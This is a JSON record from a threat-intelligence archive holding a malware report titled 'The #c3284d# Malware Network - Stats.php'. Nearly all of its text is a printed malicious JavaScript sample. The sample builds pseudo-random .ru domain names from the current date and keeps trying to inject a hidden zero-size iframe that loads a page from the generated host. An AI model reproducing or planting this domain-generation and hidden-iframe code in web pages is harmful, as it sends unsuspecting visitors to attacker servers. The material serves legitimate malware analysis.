{
	"id": "402fa1b3-e329-4215-85e3-dacb42d39b14",
	"created_at": "2026-04-06T00:17:34.072376Z",
	"updated_at": "2026-04-10T03:21:19.315233Z",
	"deleted_at": null,
	"sha1_hash": "ca3b7fc5ebe0c7ece922f7f7f85c8cafb74b6864",
	"title": "The #c3284d# Malware Network - Stats.php",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 97037,
	"plain_text": "The #c3284d# Malware Network - Stats.php\r\nBy Kimberly\r\nArchived: 2026-04-05 13:08:35 UTC\r\n00. function nextRandomNumber(){\r\n01.var hi = this .seed / this .Q;\r\n02.var lo = this .seed % this .Q;\r\n03.var test = this .A * lo - this .R * hi;\r\n04.if (test \u003e 0){\r\n05.this .seed = test;\r\n06.}\r\n07.else {\r\n08.this .seed = test + this .M;\r\n09.}\r\n10.return ( this .seed * this .oneOverM);\r\n11. }\r\n12. function RandomNumberGenerator(unix){\r\n13.var d = new Date(unix * 1000);\r\n14.var s = Math.ceil(d.getHours() / 3);\r\n15.this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) +\r\n(Math.round(s * 0xFFF));\r\n16.this .A = 48271;\r\n17.this .M = 2147483647;\r\n18.this .Q = this .M / this .A;\r\n19.this .R = this .M % this .A;\r\n20.this .oneOverM = 1.0 / this .M;\r\nhttps://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html\r\nPage 1 of 3\n\n21.\r\nthis .next = nextRandomNumber;\r\n22.return this ;\r\n23. }\r\n24. function createRandomNumber(r, Min, Max){\r\n25.return Math.round((Max - Min) * r.next() + Min);\r\n26. }\r\n27. function generatePseudoRandomString(unix, length, zone){\r\n28.var rand = new RandomNumberGenerator(unix);\r\n29.var letters = \"buaxoqeriqwkgfkdyenzossqlxfqayvpr\" .split( '' );\r\n30.var str = '' ;\r\n31.for ( var i = 0; i \u003c length; i ++ ){\r\n32.str += letters[createRandomNumber(rand, 0, letters.length - 1)];\r\n33.}\r\n34.return str + '.' + zone;\r\n35. }\r\n36. setInterval( function (){\r\n37.try {\r\n38.if ( typeof iframeWasCreated == \"undefined\" ){\r\n39.var unix = Math.round( + new Date() / 1000);\r\n40.var domainName = generatePseudoRandomString(unix, 16, 'ru' );\r\n41.ifrm = document.createElement( \"IFRAME\" );\r\n42.ifrm.setAttribute( \"src\" , \"http://\" + domainName + \"/in.cgi?15\" );\r\n43.ifrm.style.width = \"0px\" ;\r\n44.ifrm.style.height = \"0px\" ;\r\n45.ifrm.style.visibility = \"hidden\" ;\r\n46.document.body.appendChild(ifrm);\r\nhttps://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html\r\nPage 2 of 3\n\n47.\r\niframeWasCreated = true ;\r\n48.}\r\n49.}\r\n50.catch (e){\r\n51.iframeWasCreated = undefined;\r\n52.}\r\n53. }\r\n54. , 100);\r\nSource: https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html\r\nhttps://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html\r\nPage 3 of 3",
	"extraction_quality": 0.9861702127659575,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php/pseudo-random-domains.html"
	],
	"report_names": [
		"pseudo-random-domains.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434654,
	"ts_updated_at": 1775791279,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ca3b7fc5ebe0c7ece922f7f7f85c8cafb74b6864.pdf",
		"text": "https://archive.orkl.eu/ca3b7fc5ebe0c7ece922f7f7f85c8cafb74b6864.txt",
		"img": "https://archive.orkl.eu/ca3b7fc5ebe0c7ece922f7f7f85c8cafb74b6864.jpg"
	}
}